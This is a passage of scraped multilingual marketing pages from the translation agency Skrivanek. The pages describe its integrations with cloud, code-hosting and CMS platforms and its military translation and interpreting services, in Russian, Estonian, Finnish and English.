к документам на нужном им языке, и можете забыть о трудоемком обмене информацией посредством электронной почты. Просто загрузите переводимые файлы в онлайн-репозиторий SharePoint, и мы позаботимся о том, чтобы вы могли работать с переведенными документами в том же онлайн-репозитории в кратчайшие сроки. GOOGLE DRIVE Интеграция систем перевода Skrivanek с Google Drive – это очень удобный и простой способ сделать контент, хранящийся в Google Drive, доступным для широкой аудитории. Подключение систем перевода к Google Drive позволяет загружать исходные файлы для перевода и выгружать целевые файлы непосредственно в персональный и общий репозиторий. Благодаря интеграции систем перевода Skrivanek с Google Drive можно не беспокоиться об обмене файлами посредством электронной почты или через облачные сервисы третьих лиц. DROPBOX Синхронизируйте папки, файлы и проекты, размещенные в облачном хранилище Dropbox, с системой перевода Skrivanek. Таким образом вы сможете отправлять файлы на перевод и получать переведенные документы непосредственно на рабочий стол вашего компьютера. Система перевода Skrivanek автоматически определяет, когда в папку документов добавлены новые файлы или внесены изменения в существующие файлы. Файлы автоматически подаются в рабочий процесс перевода и по окончании перевода загружаются в папку с целевыми файлами. AMAZON S3 Храните документы, подлежащие переводу, в упорядоченном, доступном и актуальном состоянии. Система перевода Skrivanek автоматически определит, когда в файлы внесены изменения, и подаст их в рабочий процесс перевода. По окончании перевода документы будут автоматически загружены в ваше хранилище Amazon S3. Забудьте о трудоемком и сложном для просмотра обмене документами посредством электронной почты. JIRA Выполните удобное подключение приложения Jira Helpdesk к системе перевода Skrivanek и получайте переводы мгновенно в привычной среде Jira. ZENDESK Улучшите процесс обработки заявок на получение поддержки и сотрудничество с зарубежными клиентами. Система перевода Skrivanek обеспечивает удобную и простую интеграцию с системой технической поддержки Zendesk. Таким образом вы сможете легко переводить категории заявок Zendesk, контент, опубликованные статьи и разделы. ADOBE COMMERCE Содействуйте развитию бизнеса, предоставляя описания продуктов, содержимое каталога, страницы выставления счетов и другие материалы на языках, которыми владеют ваши клиенты. Система перевода Skrivanek обеспечивает интеграцию с системами Magento Open Source и Magento Commerce. ANDROID STUDIO Сделайте процесс разработки многоязычных приложений удобным и простым посредством интеграции системы перевода Skrivanek и Android Studio. Автоматически отправьте текст для перевода из среды разработки приложения и получите перевод. Таким образом вы можете быть уверены, что к моменту публикации приложение будет доступно на всех нужных вам языках. DRUPAL Расширьте аудиторию, обеспечив перевод своего сайта на Drupal с помощью системы перевода Skrivanek. Мы обеспечиваем полную интеграцию системы перевода с сайтом на Drupal, что позволяет быстро и просто предоставлять актуальный контент сайта на различных целевых языках. GITLAB Оптимизируйте процесс разработки программного обеспечения, автоматически отправляя переводимый контент в систему перевода Skrivanek. Репозиторий исходного кода находится под постоянным контролем, и все дополнения автоматически передаются в нашу систему перевода. Таким образом вы можете быть уверены, что к моменту публикации приложение будет доступно на всех нужных вам языках. Гарантия качества и конфиденциальности, подтвержденная сертификатами ISOНаши руководители проектов говорят на латышском, русском, английском, немецком и польском языках99 % клиентов получают ценовое предложение менее чем через 15 минутБолее 3000 лингвистов и носителей языкаБолее 98 % клиентов охотно порекомендовали бы нас своим друзьям и партнерамКаждый год наше бюро переводит свыше 16 миллионов слов ХОТИТЕ УЗНАТЬ БОЛЬШЕ О ТОМ, КАК SKRIVANEK МОЖЕТ ПОМОЧЬ ВАМ РАБОТАТЬ УМНЕЕ? НАПИШИТЕ НАМ! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Клиент *Частное лицоПредприятие Имя и фамилия *Телефон Добавить Удалить Имя и фамилия *Телефон Добавить Удалить Название предприятия *Телефон Добавить Удалить Название предприятия *Телефон Добавить Удалить Электронная почта *Языковая комбинация Добавить Удалить Электронная почта *Языковая комбинация Добавить Удалить Дополнительная информацияОтправьте документ размером не более 20 МБ, если размер документа больше, укажите это в сообщении, и мы свяжемся с Вами Click or drag files to this area to upload. You can upload up to 10 files. Как узнали о нас? Как узнали о нас? Являюсь клиентом SkrivanekПоисковая система GoogleРекомендация друга/знакомогоFacebookTwitterLinkedInInstagramНаружная рекламаВыставкаРеклама в печатных СМИДругой вариант *Я даю согласие на обработку личных данных с целью выполнения данного запроса согласно Политике конфиденциальности SIA Skrivanek Baltic. Отправить --- > Ökosüsteemi ja integratsiooni uusimad keeletehnoloogilised lahendused sobivad ideaalselt suure mahuga mitmekeelse sisuga projektide jaoks. - Published: 2023-10-25 - Modified: 2024-08-13 - URL: https://skrivanek.lv/pakalpojumi/lokalizacija/tulkosanas-ekosistema-un-integracija/ - Translation Priorities: Optional SKRIVANEKI TÕLGETE ÖKOSÜSTEEM – KAASAEGSED INTEGREERITUD LAHENDUSED Tänapäeva digiajastul on keeleteenused tihedalt seotud tehnoloogiaga. Tõlkimine ja lokaliseerimine ilma tehnoloogiliste lahendusteta ei ole enam mõeldavad ning eri valdkondade spetsialistid – tõlkijad, programmeerijad, sisuloojad, turunduseksperdid – peavad tegutsema ühtses digitaalses keskkonnas. Uusimad keeletehnoloogilised lahendused aitavad hästi töödelda suuremahulist mitmekeelset sisu. Integreeritud lahendused, millega igapäevaselt kõige sagedamini töötame, on järgmised: WORDPRESS Skrivaneki arvutipõhiste tõlketööriistade liidestamine WordPressiga on kaasaegne, mugav ja lihtne viis veebilehtede sisu tõlkimiseks ja lokaliseerimiseks eri keeltesse, mis aitab vältida aeganõudvat käsitööd. Koos pistikprogrammiga WPML saame hakkama ka kõige keerulisemate tõlkeprojektidega mis tahes keeles. Tehke oma veebileht kättesaadavaks külastajatele üle kogu maailma, jätkates tavapärase Wordpressi arenduskeskkonna kasutamist. GITHUB Kui integreerite Skrivaneki tõlketehnoloogia platvormiga GitHub, siis ei pea te muretsema oma rakenduse teksti lokaliseerimise pärast ja saate keskenduda olulisele – oma rakenduse täiustamisele ja kodeerimisele. Meie hoolitseme selle eest, et rakendus oleks kõikides sihtkeeltes kättesaadav. Sõltumatu jälgimissüsteem saadab andmekogu täiendused automaatselt meie tõlkesüsteemi. Nii võite olla kindlad, et rakendus on avaldamise ajal kõigis soovitud keeltes saadaval. MICROSOFT AZURE Azure on Microsofti pilveteenuste platvorm, mis võimaldab kasutada ressursse rakenduste arendamiseks, haldamiseks ja avaldamiseks. Skrivaneki tõlkesüsteemid ühilduvad hõlpsasti Azure’i failihoidlatega, laadides tõlgitavaid faile automaatselt alla ja üles. Meie tõlkesüsteemid suudavad veebirepositooriumides ka kõige väiksemaid muudatusi automaatselt tuvastada ning edastada failid automaatselt meie tõlgete töövoogu. Nii vajub ajamahukas teabevahetus e-posti teel unustusse. Lihtsalt laadige tõlgitavad failid veebihoidlasse üles ja meie hoolitseme selle eest, et juba mõne hetke pärast jõuaksid samasse veebihoidlasse juba tõlgitud failid. MICROSOFT ONEDRIVE Microsoft OneDrive on dokumentide pilvesalvestusruum. Skrivaneki tõlkesüsteemide ühendamine OneDrive’iga võimaldab tõlgitavad failid automaatselt alla laadida ja laadida valmis tõlked üles otse teie töölauale. Nii vajub ajamahukas teabevahetus e-posti teel unustusse. Lihtsalt laadige tõlgitavad failid veebihoidlasse üles ja meie hoolitseme selle eest, et juba mõne hetke pärast jõuaksid samasse veebihoidlasse juba tõlgitud failid. MICROSOFT SHAREPOINT Teenus Microsoft SharePoint on pilvelahendus paljude eri liiki failide salvestamiseks ja ühiskasutuseks. Skrivaneki tõlkesüsteemidest toimub failide allalaadimine ja üleslaadimine SharePointi hoidlatesse mugavalt ja kiiresti. Nii võite olla kindlad, et kõik teie meeskonna liikmed pääsevad kiiresti ja hõlpsasti dokumentidele neile vajalikus keeles ligi ning saate unustada aeganõudva kirjavahetuse e-posti teel. Lihtsalt laadige tõlgitavad failid SharePointi veebihoidlasse üles ja meie hoolitseme selle eest, et juba mõne hetke pärast saaksite samas kataloogis tegeleda juba tõlgitud dokumentidega. GOOGLE DRIVE Skrivaneki tõlkesüsteemide liidestamine keskkonnaga Google Drive on väga mugav ja lihtne viis teha Google Drive’i salvestatud sisu kättesaadavaks laiemale avalikkusele. Tõlkesüsteemide ühendamine Google Drive’iga võimaldab otse isiklikust ja ühiskasutuses olevast kaustast tõlgitavad lähtefailid alla laadida ning sihtkeelde tõlgitud failid üles laadida. Kui liidestate Skrivaneki tõlkesüsteemid keskkonnaga Google Drive, ei pea te enam vaeva nägema failide edasi-tagasi saatmisega e-posti teel ega kolmanda osapoole pilveteenuste kaudu. DROPBOX Sünkroonige oma Dropboxi pilvehoidla kaustad, failid ja projektid Skrivaneki tõlkesüsteemiga. Nii saate tõlkimist vajavaid faile saata ja need tõlgitud kujul kätte saada otse oma arvuti töölauale. Skrivaneki tõlkesüsteem tuvastab automaatselt, kui tõlgitavate dokumentide kausta on lisatud uusi faile või kui olemasolevatesse failidesse on tehtud muudatusi. Failid edastatakse automaatselt tõlgete töövoogu ning laaditakse pärast tõlkimist sihtfailide kausta. AMAZON S3 Hoidke tõlgitavaid dokumente korrastatuna, kättesaadavana ja ajakohasena. Skrivaneki tõlkesüsteem tuvastab automaatselt, kui failides on tehtud muudatusi, ja edastab need tõlgete töövoogu. Pärast tõlkimist laaditakse dokumendid automaatselt teie Amazon S3-salvestusruumi üles. Unustage aeganõudev ja raskesti hallatav dokumendivahetus e-posti teel. JIRA Ühendage oma Jira klienditoe rakendus hõlpsasti Skrivaneki tõlkesüsteemiga ja tõlked saabuvad teile kohe tuttavasse Jira keskkonda. ZENDESK Täiustage kasutajatoe päringute menetlemist ja koostööd rahvusvaheliste klientidega. Skrivaneki tõlkesüsteem liidestub mugavalt ja lihtsalt Zendeski kasutajatoe süsteemiga. Nii saate hõlpsasti tõlkida Zendeski päringute kategooriaid, sisu, avaldatud artikleid ja jaotisi. ADOBE COMMERCE Edendage oma äri, tagades selle, et tootekirjeldused, kataloogide sisu, arvete väljastamise lehed ja muu sisu oleks kättesaadav keeltes, millest kliendid aru saavad. Skrivaneki tõlkesüsteemi saab liidestada süsteemidega Magento Open Source ja Magento Commerce. ANDROID STUDIO Skrivaneki tõlkesüsteemi integreerimine keskkonnaga Android Studio muudab mitmekeelsete rakenduste arendamise mugavaks ja lihtsaks. Saatke tõlgitav tekst rakenduse arenduskeskkonnast automaatselt teele ja saage vastu selle tõlge. Nii võite olla kindlad, et rakendus on avaldamise hetkel kõigis soovitud keeltes saadaval. DRUPAL Tõlkides keskkonnas Drupal loodud veebilehe sisu Skrivaneki tõlkesüsteemi abil, saate oma lehele laiema sihtrühma tähelepanu. Tagame vajadusel tõlkesüsteemi täieliku integreerituse Drupali abil loodud veebilehega, mis võimaldab teil edastada lehe uusimat sisu eri sihtkeeltes kiiresti ja mugavalt. GITLAB Muutke oma tarkvara arendusprotsess veel tõhusamaks, saates tõlkimist vajava sisu automaatselt Skrivaneki tõlkesüsteemi. Sõltumatu jälgimissüsteem saadab lähtekoodihoidlas tehtud täiendused automaatselt meie tõlkesüsteemi. Nii võite olla kindlad, et rakendus on avaldamise hetkel kõigis teie soovitud keeltes saadaval. ISO sertifikaadiga tagatud kvaliteet ja konfidentsiaalsusMeie projektijuhid räägivad läti, vene, inglise, saksa ja poola keelt99% klientidest saab hinnapakkumise vähem kui 15 minuti jooksulEnam kui 3000 keelespetsialisti ja emakeelekõnelejatEnam kui 98% meie klientidest soovitaks meid oma sõpradele ja partneriteleMeie büroos tõlgitakse igal aastal üle 16 miljoni sõna SOOVITE LISATEAVET, KUIDAS SKRIVANEK SAAB AIDATA TEIL NUTIKAMALT TÖÖD KORRALDADA? KIRJUTAGE MEILE SIIT! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Klient *EraisikudEttevõte Nimi *Telefon Lisa Eemalda Nimi *Telefon Lisa Eemalda Ettevõtte nimi *Telefon Lisa Eemalda Ettevõtte nimi *Telefon Lisa Eemalda E-mail *Keelekombinatsioon Lisa Eemalda E-mail *Keelekombinatsioon Lisa Eemalda Sinu sõnumLisage kuni 20 MB suurune dokument, kui dokumendi suurus on suurem, märkige see sõnumis ja me võtame ühendust. Click or drag files to this area to upload. You can upload up to 10 files. Kuidas te meie kohta teada saite? Kuidas te meie kohta teada saite? Olen Skrivaneki klientGoogle‘i otsingumootorSõbrad/tuttavadFacebookTwitterLinkedInInstagramVälireklaamMinuga võttis ühendust Skrivaneki müügijuhtTrükireklaam *Nõustun isikuandmete töötlemisega kooskõlas SIA Skrivanek Baltic privaatsuspõhimõtetega. Saada --- > Uusimmat kieliteknologiaratkaisut ekosysteemiä ja integrointia varten soveltuvat erinomaisesti hankkeisiin, joissa on suuria määriä monikielistä sisältöä. - Published: 2023-10-25 - Modified: 2024-08-22 - URL: https://skrivanek.lv/pakalpojumi/lokalizacija/tulkosanas-ekosistema-un-integracija/ SKRIVANEKIN KÄÄNNÖSEKOSYSTEEMI - HUIPPULUOKAN INTEGRAATIOT Nykypäivän digiaikana kieli liittyy läheisesti teknologiaan. Käännös- ja lokalisointiprosessi ei ole enää mahdollista ilman tietoteknisiä ratkaisuja, ja eri alojen ammattilaisten - kääntäjien , ohjelmoijien, sisällöntuottajien ja markkinointiasiantuntijoiden - on työskenneltävä samassa digitaalisessa työympäristössä. Uusimmat kieliteknologiaratkaisut soveltuvat erinomaisesti suurten monikielisten sisältömäärien käsittelyyn. Yleiset integraatiot, joiden kanssa työskentelemme päivittäin: WORDPRESS Skrivanekin tietokoneavusteisten käännöstyökalujen integrointi WordPressiin on nykyaikainen, kätevä ja yksinkertainen tapa varmistaa verkkosivuston sisällön kääntäminen ja lokalisointi eri kielille ilman aikaa vievää manuaalista työtä. Yhteistyömme WPML:n kanssa mahdollistaa monimutkaistenkin käännösprojektien toteuttamisen millä tahansa kielellä. Tuo verkkosivustosi kävijöiden ulottuville kaikkialla maailmassa tavallista Wordpress-kehitysympäristöäsi muuttamatta. GITHUB Skrivanekin käännösteknologiaympäristön integrointi GitHubiin on tapa, jolla voit olla huolehtimatta sovelluksesi tekstin lokalisoinnista ja keskittyä olennaisiin asioihin - sovelluksen parantamiseen ja koodaamiseen. Me puolestaan varmistamme, että sovellus on saatavilla kaikilla kohdekielillä. Arkistoa valvotaan itsenäisesti, ja kaikki lisäykset siirretään automaattisesti käännösjärjestelmäämme. Näin voit olla varma, että sovellus on julkaisuhetkellä saatavilla kaikilla haluamillasi kielillä. MICROSOFT AZURE Azure on Microsoftin pilvialusta, joka tarjoaa resursseja erilaisten sovellusten kehittämiseen, hallintaan ja julkaisemiseen. Skrivanekin käännösjärjestelmät muodostavat helposti yhteyden Azuren arkistoihin ja lataavat automaattisesti käännettävät tiedostot. Käännösjärjestelmämme voivat automaattisesti havaita pienimmätkin muutokset online-arkistoissa ja syöttää automaattisesti tiedostoja omaan käännöstyönkulkuumme. Voit siis unohtaa aikaa vievän tietojenvaihdon sähköpostitse. Lataa vain käännettävät tiedostot online-arkistoon, niin me varmistamme, että saat käännetyt tiedostot samaan online-arkistoon hetkessä. MICROSOFT ONEDRIVE Microsoft OneDrive on pilvipohjainen asiakirjojen tallennuspalvelu. Skrivanek-käännösjärjestelmät ovat yhteydessä OneDriveen, jolloin voit automaattisesti ladata sinne käännöstiedostoja ja ladata valmiin käännöksen suoraan työpöydällesi. Voit siis unohtaa aikaa vievän tietojenvaihdon sähköpostitse. Lataa vain käännettävät tiedostot online-arkistoon, niin me varmistamme, että saat käännetyt tiedostot samaan online-arkistoon hetkessä. MICROSOFT SHAREPOINT Microsoft SharePoint on pilviratkaisu monien erityyppisten tiedostojen tallentamiseen ja jakamiseen. Skrivanekin käännösjärjestelmien avulla tiedostojen lataaminen SharePoint-arkistoihin on helppoa ja nopeaa. Näin voit olla varma, että kaikki tiimisi jäsenet pääsevät nopeasti ja helposti käsiksi asiakirjoihin tarvitsemallaan kielellä, ja voit unohtaa aikaa vievän sähköpostivaihdon. Lataa vain käännettävät tiedostot SharePointin online-arkistoon, niin me varmistamme, että saat käännetyt asiakirjat samaan online-arkistoon hetkessä. GOOGLE DRIVE Skrivanekin käännösjärjestelmien integrointi Google Driveen on erittäin kätevä ja helppo tapa saattaa Google Driveen tallennettu sisältö laajemman yleisön saataville. Käännösjärjestelmien liittäminen Google Driveen mahdollistaa lähdetiedostojen lataamisen ja kohdetiedostojen lataamisen suoraan henkilökohtaiseen ja jaettuun arkistoon. Koska Skrivanekin käännösjärjestelmät on integroitu Google Driveen, sinun ei tarvitse huolehtia tiedostojen vaihdosta sähköpostin tai kolmannen osapuolen pilvipalveluiden kautta. DROPBOX Synkronoi Dropbox-pilvitallennuskansiot, tiedostot ja projektit Skrivanekin käännösjärjestelmän kanssa. Näin voit lähettää tiedostoja käännettäväksi ja vastaanottaa käännettyjä asiakirjoja suoraan henkilökohtaiselle työpöydällesi. Skrivanekin käännösjärjestelmä havaitsee automaattisesti, kun asiakirjakansioon on lisätty uusia tiedostoja tai olemassa oleviin tiedostoihin on tehty muutoksia. Tiedostot syötetään automaattisesti käännöstyönkulkuun ja ladataan kohdetiedostokansioon kääntämisen jälkeen. AMAZON S3 Pidä käännettävät asiakirjat järjestyksessä, saatavilla ja ajan tasalla. Skrivanekin käännösjärjestelmä havaitsee automaattisesti, kun tiedostoihin on tehty muutoksia, ja syöttää ne käännöstyönkulkuun. Kääntämisen jälkeen asiakirjat ladataan automaattisesti Amazon S3 -varastoosi. Unohda aikaa vievä ja vaikeasti tarkistettava asiakirjojen vaihto sähköpostitse. JIRA Yhdistä Jira Service Desk -lippusi helposti Skrivanekin käännösjärjestelmään ja vastaanota käännökset välittömästi tutussa Jira-ympäristössäsi. ZENDESK Parannetaan tukilippujen käsittelyä ja yhteistyötä kansainvälisten asiakkaiden kanssa. Skrivanekin käännösjärjestelmä tarjoaa helpon ja yksinkertaisen integraation Zendesk-tukijärjestelmään. Näin voit helposti kääntää Zendeskin lippuluokkia, sisältöä, julkaistuja artikkeleita ja osioita. ADOBE COMMERCE Tehosta liiketoimintaa tuomalla tuotekuvaukset, luettelon sisältö, laskutussivut ja muu sisältö saataville asiakkaidesi kielillä. Skrivanekin käännösjärjestelmä tarjoaa integraation Magento Open Source ja Magento Commerce -järjestelmiin. ANDROID STUDIO Tee monikielisten sovellusten kehittämisestä helppoa ja yksinkertaista integroimalla Skrivanekin käännösjärjestelmä ja Android Studio. Lähetä käännettävä teksti automaattisesti sovelluksen kehitysympäristöstä ja vastaanota käännös. Näin voit olla varma, että sovellus on julkaisuhetkellä saatavilla kaikilla haluamillasi kielillä. DRUPAL Tavoita laajempi yleisö kääntämällä Drupal-sivusto Skrivanekin käännösjärjestelmän avulla. Tarjoamme käännösjärjestelmän täydellisen integraation Drupal-sivustoosi, jolloin voit toimittaa uusimman verkkosivuston sisällön nopeasti ja helposti eri kohdekielillä. GITLAB Tehosta ohjelmistokehitysprosessia lähettämällä käännettävä sisältö automaattisesti Skrivanekin käännösjärjestelmään. Ohjelmiston arkistoa valvotaan itsenäisesti, ja kaikki lisäykset siirretään automaattisesti käännösjärjestelmäämme. Näin voit olla varma, että sovellus on julkaisuhetkellä saatavilla kaikilla haluamillasi kielillä. ISO-sertifikaattien takaamaa laatua ja luottamuksellisuuttaProjektipäällikkömme puhuvat latviaa, venäjää, englantia, saksaa ja puolaa99 % asiakkaista saa hintatarjouksen alle 15 minuutissaYli 3 000 kielen ammattilaista ja äidinkielenään puhuvaaYli 98 % asiakkaistamme suosittelisi meitä ystävilleen ja yrityskumppaneilleenToimistollamme käännetään yli 16 miljoonaa sanaa joka vuosi HALUATKO TIETÄÄ LISÄÄ SIITÄ, MITEN SKRIVANEK VOI AUTTAA SINUA TYÖSKENTELEMÄÄN ÄLYKKÄÄMMIN? KIRJOITA MEILLE TÄSSÄ! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Asiakas *YksityishenkilöYritys Nimi ja sukunimi. *Puhelin Lisää Poista Nimi ja sukunimi. *Puhelin Lisää Poista Yrityksen nimi *Puhelin Lisää Poista Yrityksen nimi *Puhelin Lisää Poista Sähköposti *Kieliyhdistelmä Lisää Poista Sähköposti *Kieliyhdistelmä Lisää Poista ViestisiAsiakirjan lataus, enintään 20 MB, jos asiakirja ylittää rajan, kirjoita se viestiin, niin otamme sinuun yhteyttä Click or drag files to this area to upload. You can upload up to 10 files. Miten kuulit meistä? Miten kuulit meistä? Olen Skrivanekin asiakasGooglen hakukoneestaYstäviltä/tutuiltaFacebookTwitterLinkedInInstagramUlkomainoksestaMessuillaPainetusta mainoksestaSkrivanekin myyntiedustaja otti minuun yhteyttä *Hyväksyn henkilötietojeni käsittelyn SIA Skrivanek Balticin yksityisyyspolitiikassa kuvatulla tavalla. Saada --- > The latest language technology solutions for ecosystem and integration are ideal for projects with large volumes of multilingual content. - Published: 2023-10-24 - Modified: 2025-07-17 - URL: https://skrivanek.lv/pakalpojumi/lokalizacija/tulkosanas-ekosistema-un-integracija/ - Translation Priorities: Optional SKRIVANEK TRANSLATION ECOSYSTEM – STATE-OF-THE-ART INTEGRATIONS In today’s digital age, language is closely linked to technology. The translation and localisation process is no longer conceivable without information technology solutions, and professionals from different fields – translators, programmers, content creators, marketing experts – have to work in the same digital working environment. The latest language technology solutions are perfectly suited for working with large volumes of multilingual content. Common integrations we work with on a daily basis: WORDPRESS The integration of Skrivanek’s computer-assisted translation tools with WordPress is a modern, convenient and simple way to ensure the translation and localisation of website content into different languages without time-consuming manual work. Thanks to our cooperation with WPML, we can realise even the most complex translation projects in any language. Make your website accessible to visitors all over the world without changing your usual Wordpress development environment. GITHUB The integration of Skrivanek’s translation technology environment with GitHub is a way for you to not worry about localising the text of your app and focus on what is important – improving and coding your app. We in turn will make sure the app is available in all target languages. The repository is independently monitored and all additions are automatically transferred to our translation system. This way you can be sure that the app will be available in all your preferred languages at the time of publication. MICROSOFT AZURE Azure is Microsoft’s cloud platform that provides resources for developing, managing and publishing a variety of apps. Skrivanek’s translation systems connect easily to Azure’s file repositories, automatically downloading and uploading files to be translated. Our translation systems can automatically detect even the smallest changes to online repositories and automatically feed files into our proprietary translation workflow. Thus, you can forget about the time-consuming exchange of information via e-mail. Simply upload the files to be translated to the online repository and we will make sure that you can receive the already translated files in the same online repository in no time. MICROSOFT ONEDRIVE Microsoft OneDrive is a cloud-based document storage service. Skrivanek translation systems connect to OneDrive, allowing you to automatically download translation files and upload the finished translation directly to your desktop. Thus, you can forget about the time-consuming exchange of information via e-mail. Simply upload the files to be translated to the online repository and we will make sure that you can receive the already translated files in the same online repository in no time. MICROSOFT SHAREPOINT Microsoft SharePoint is a cloud solution for storing and sharing many different types of files. Skrivanek translation systems make downloading and uploading files to SharePoint repositories easy and fast. Thus, you can be sure that all members of your team will have quick and easy access to documents in the required language, and you can forget about time-consuming exchanges via e-mail. Simply upload the files to be translated to the SharePoint online repository and we will make sure that you will be working with the translated documents in the same online repository in no time. GOOGLE DRIVE The integration of Skrivanek’s translation systems with Google Drive is a very convenient and easy way to make the content stored in Google Drive available to a wider audience. Connecting the translation systems to Google Drive enables source files to be downloaded and target files to be uploaded directly to the personal and shared repository. Thanks to the integration of Skrivanek’s translation systems with Google Drive, you do not have to worry about exchanging files via e-mail or third-party cloud services. DROPBOX Synchronise your Dropbox cloud storage folders, files and projects with Skrivanek’s translation system. This allows you to send files for translation and receive translated documents directly on your personal desktop. Skrivanek’s translation system automatically detects when new files have been added to the documents folder or changes have been made to existing files. The files are automatically fed into the translation workflow and uploaded to the target file folder after translation. AMAZON S3 Keep documents to be translated organised, accessible and up to date. Skrivanek’s translation system will automatically detect when changes have been made to the files and feed them into the translation workflow. After translation, the documents will be automatically uploaded to your Amazon S3 storage. Forget about time-consuming and difficult-to-review document exchange via e-mail. JIRA Connect your Jira Service Desk ticketing easily to Skrivanek’s translation system and receive your translations instantly in your familiar Jira environment. ZENDESK Improve the processing of support tickets and cooperation with international customers. Skrivanek’s translation system provides easy and simple integration with the Zendesk help desk system. This way you can easily translate Zendesk ticketing categories, content, published articles and sections. ADOBE COMMERCE Drive business by making product descriptions, catalogue content, invoicing pages and other content available in the languages of your customers. Skrivanek’s translation system provides integration with Magento Open Source and Magento Commerce systems. ANDROID STUDIO Make multilingual app development easy and simple with the integration of Skrivanek’s translation system and Android Studio. Automatically send the text to be translated from the app development environment and receive the translation. This way you can be sure that the app will be available in all your preferred languages at the time of publication. DRUPAL Reach a wider audience by translating your Drupal website with Skrivanek’s translation system. We provide full integration of the translation system with your Drupal website, allowing you to quickly and easily deliver the latest website content in a variety of target languages. GITLAB Streamline your software development process by automatically sending the content to be translated to Skrivanek’s translation system. The software source code repository is independently monitored and all additions are automatically transferred to our translation system. This way you can be sure that the app will be available in all your preferred languages at the time of publication. Quality and confidentiality guaranteed by ISO certificatesOur project managers speak Latvian, Russian, English, German and Polish99% of customers receive a price quote in less than 15 minutesMore than 3000 language professionals and native speakersMore than 98% of our clients would recommend us to their friends and partnersMore than 60 million words are translated in our office every year WANT TO KNOW MORE ABOUT HOW SKRIVANEK CAN HELP YOU WORK SMARTER? CONTACT US! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Client *Private personCompany Name and surname *Telephone Add Remove Name and surname *Telephone Add Remove Company name *Telephone Add Remove Company name *Telephone Add Remove Email *Target language Add Remove Email *Target language Add Remove Additional informationHow did you learn about us? How did you learn about us? I am a Skrivanek clientGoogle search engineFriend/acquaintance suggestionFacebookTwitterLinkedInInstagramOutdoor advertisingTrade fair/exhibitionPrinted advertisingOther By clicking the "Send" button, you consent to the processing of your personal data in accordance with Skrivanek Baltic Privacy Policy. Submit Or book an online consultation now! --- > Meillä on huomattava kokemus sotilastekstien kääntämisestä puolustusvoimille ja puolustusteollisuudelle eri kielille. - Published: 2023-09-15 - Modified: 2024-10-21 - URL: https://skrivanek.lv/tulkosanas-nozares/militaro-tekstu-tulkosana/ - Translation Priorities: Optional Viime vuosina Latviassa ja Euroopassa on lisääntynyt merkittävästi sellaisten ammattikääntäjien kysyntä, joilla on käytännön kokemusta sotilastekstien parissa työskentelystä. Meillä Skrivanekilla on myös huomattavasti kokemusta sotilastekstien kääntämisestä puolustusvoimille ja puolustusteollisuudelle. Kun sota Ukrainassa syttyi, sotilaallisten tekstien - erityyppisten Naton ja EU:n jäsenvaltioiden asevoimiin, sotilasilmailuun, merivoimiin, pelastuspalveluun tai taistelulääketieteeseen liittyvien materiaalien ja asiakirjojen - kääntämisen kysyntä kasvoi merkittävästi. Yksi sotilasasiakirjojen kääntämisen eroista on se, että sotilaskääntäjät noudattavat tarkasti Naton terminologiadirektiivin (PO(2015)0193) vaatimuksia, joissa edellytetään Naton harmonisoidun ja standardoidun terminologian käyttöä kaikissa liittouman asiakirjojen käännöksissä. Sotilaskääntäjät ja -tulkit ovat myös ajan tasalla Naton terminologiatoimiston viimeisimmästä terminologiakehityksestä. Sotilaskäännökset kattavat monenlaisia asiakirjoja ja aineistoja, joiden sisältö, monimutkaisuus ja luottamuksellisuustaso vaihtelevat, kuten: kaikentyyppiset Naton, Euroopan unionin toimielinten ja muiden Naton jäsenvaltioiden instituutioiden asiakirjat kansallisen ja kansainvälisen turvallisuuden alalla, mukaan lukien lainsäädäntöasiakirjat; puolustusvoimien ja puolustusteollisuuden puolustustarvikkeita, koneita, erikoislaitteita, aseita ja ajoneuvoja koskevat tekniset asiakirjat; esittelyt, luettelot ja erilaiset markkinointimateriaalit sotateollisuudelle palveluja tarjoaville yrityksille; sotilaallisten ja korkeiden virkamiesten viralliset lausunnot ja tiedonannot, jotka koskevat paitsi konfliktialueiden tapahtumia myös luonnonkatastrofeja, kriisejä ja muita kansalliseen turvallisuuteen vaikuttavia ja erityislainsäädännön piiriin kuuluvia väestönsuojelukysymyksiä; kuvaukset sotilasoperaatioista konfliktialueilla; koulutusmateriaalit sotilaille, komentajille; sotilaslääketieteen materiaalit; rajoitettuihin tai turvaluokiteltuihin tietoihin liittyvät asiakirjat jne. KUULEMME MIELELLÄMME SINUA JA TARJOAMME TARPEISIISI RÄÄTÄLÖIDYN RATKAISUN. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Asiakas *YksityishenkilöYritys Nimi ja sukunimi. *Puhelin Lisää Poista Nimi ja sukunimi. *Puhelin Lisää Poista Yrityksen nimi *Puhelin Lisää Poista Yrityksen nimi *Puhelin Lisää Poista Sähköposti *Kieliyhdistelmä Lisää Poista Sähköposti *Kieliyhdistelmä Lisää Poista ViestisiAsiakirjan lataus, enintään 20 MB, jos asiakirja ylittää rajan, kirjoita se viestiin, niin otamme sinuun yhteyttä Click or drag files to this area to upload. You can upload up to 10 files. Miten kuulit meistä? Miten kuulit meistä? Olen Skrivanekin asiakasGooglen hakukoneestaYstäviltä/tutuiltaFacebookTwitterLinkedInInstagramUlkomainoksestaMessuillaPainetusta mainoksestaSkrivanekin myyntiedustaja otti minuun yhteyttä *Hyväksyn henkilötietojeni käsittelyn SIA Skrivanek Balticin yksityisyyspolitiikassa kuvatulla tavalla. Saada SOTILASTULKIT Sotilastekstien kääntämisen lisäksi Skrivanek tarjoaa myös sotilastulkkauspalveluita, useimmiten seuraaviin tarkoituksiin: kansainväliset korkean tason konferenssit ja kokoukset; kansainväliset henkilökohtaiset sotaharjoitukset ja webinaarit; sotilasvaihtovierailut; sotilastarvikkeiden, -koneiden tai taisteluajoneuvojen esittelyt; konfliktialueilla YK:n ja muiden tarkkailijoiden avustaminen; sotilasnäyttelyt ja muut puolustusteollisuuden tapahtumat kaikkialla Euroopassa. Skrivanek tarjoaa sotilastulkkausta kaikilla EU:n kielillä riippuen siitä, mitkä maat, laitokset, organisaatiot ja yritykset osallistuvat hankkeeseen tai tapahtumaan. Työskentelemme yli sadan kielen tulkkien ja kääntäjien kanssa, jotka on valittu ja seulottu huolellisesti sisäisten turvallisuus- ja huolellisuushaastattelujen sekä asiakirjojen tarkastusten avulla, jotta voidaan varmistaa, että he soveltuvat kyseiseen tehtävään, ottaen huomioon tulkkausta vaativan kokouksen erityisluonne. 